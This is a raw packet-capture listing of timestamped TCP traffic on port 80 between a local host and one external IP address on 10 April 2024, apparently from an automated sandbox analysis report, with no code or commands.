Apr 10, 2024 10:24:11.841612101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.842878103 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.843267918 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.843353987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.844496965 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.844670057 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.844686031 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.844835997 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.846297979 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.846447945 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.846463919 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.846643925 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.846693039 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.847934008 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.847953081 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.848054886 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.848068953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.848702908 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.849659920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.849677086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.849736929 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.849953890 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.851103067 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.851315975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.852277994 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.852962971 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.853275061 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.853790998 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.854890108 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.854979038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.855026960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.855042934 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.855274916 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.855515957 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.855580091 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.855694056 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.857867002 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.857914925 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.857999086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.858128071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.858217001 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.858907938 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.859100103 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.859636068 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.859782934 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.859834909 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.861305952 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.861414909 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.861443043 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.861635923 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.861886024 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.862027884 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.862164021 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.862273932 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.862294912 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.862385988 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.862510920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.862525940 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.862540007 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.862622023 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.863595009 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.864603043 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.864738941 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.864814997 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.865442991 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.865853071 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.866111040 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.866219997 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.866254091 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.866302967 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.866427898 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.866442919 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.866458893 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.866534948 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.866549969 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.866805077 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.866820097 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.867000103 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.867013931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.867038012 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.867291927 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.867305040 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.867351055 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.867520094 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.867579937 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.867633104 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.867646933 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.867770910 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.867872953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.868037939 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.868232012 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.868469954 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.868602991 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.868663073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.868769884 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.868783951 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.868932962 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.869009018 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.869024038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.869366884 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.869493961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.869554996 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.869569063 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.869635105 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.870304108 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.870604992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.870824099 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.871098995 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.871113062 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.871335983 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.871521950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.872587919 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.872822046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.872859955 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.872927904 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.873260975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.873363972 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.873445034 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.873610973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.873770952 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.873831034 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.873908997 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.874025106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.874038935 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.874306917 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.874320984 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.874428034 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.874484062 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.874702930 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.874836922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.874928951 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.875082970 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.875164986 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.875269890 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.875339031 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.875380039 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.875418901 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.875782013 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.875835896 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.876107931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.876121044 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.876301050 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.876411915 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.876575947 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.876754045 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.876768112 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.876780987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.876921892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.877043962 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.877280951 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.877360106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.877628088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.877643108 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.877845049 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.877939939 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.878132105 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.878209114 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.878396988 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.878412008 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.878645897 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.878663063 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.878782034 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.879168034 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.879369020 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.879446983 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.879657030 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.879817009 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.880337954 CEST	80	49719	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.882272959 CEST	80	49719	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.882342100 CEST	49719	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.886979103 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.889148951 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.889400005 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.889419079 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.889539003 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.889745951 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.889780998 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.889952898 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.890036106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.890343904 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.890439987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.890537024 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.890552044 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.890599966 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.890732050 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.891114950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.891235113 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.891387939 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.891402960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.891417980 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.891524076 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.891954899 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.892375946 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.918252945 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.918273926 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.918287992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.918345928 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.918394089 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.918448925 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.918567896 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.931865931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.932260036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.940663099 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.940681934 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.940709114 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.940726042 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.940793037 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.940939903 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.941185951 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.941381931 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.941473007 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.941488981 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.941503048 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.941554070 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.941796064 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.941848040 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.941989899 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.942007065 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.942086935 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.942178011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.942266941 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.942367077 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.942430973 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.942485094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.942509890 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.942661047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.942661047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.942661047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.942661047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.942661047 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.944387913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.944416046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.944416046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.944436073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.944514036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.944576025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.944576025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.944576025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.944576025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.944710016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.944816113 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.944878101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.944941998 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.945089102 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.945107937 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.945208073 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.945295095 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.945430994 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.945554972 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.945611954 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.945625067 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.945740938 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.945755005 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.945800066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.945940971 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.945955038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946000099 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946014881 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946058989 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946325064 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946383953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946398973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946518898 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946577072 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946593046 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946796894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946846962 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946861982 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946921110 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946935892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.946949959 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.947016001 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.947123051 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.947269917 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.947377920 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.947567940 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.947585106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.947597980 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.947791100 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.947820902 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.947890043 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.947905064 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.948038101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.948257923 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.948539972 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:11.950372934 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.950505972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.950505972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.950505972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.961776972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.961776972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.961776972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.961776972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.961853981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.961853981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.961853981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.961950064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.961950064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.961950064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.961950064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.961950064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.961967945 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962060928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962060928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962060928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962060928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962060928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962148905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962148905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962148905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962148905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962222099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962222099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962222099 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962239027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962277889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962277889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962290049 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962328911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962328911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962430954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962430954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962430954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962430954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962430954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962507963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962507963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962507963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962507963 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962594986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962594986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962594986 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.962594986 CEST	49718	80	192.168.2.5	185.196.8.137
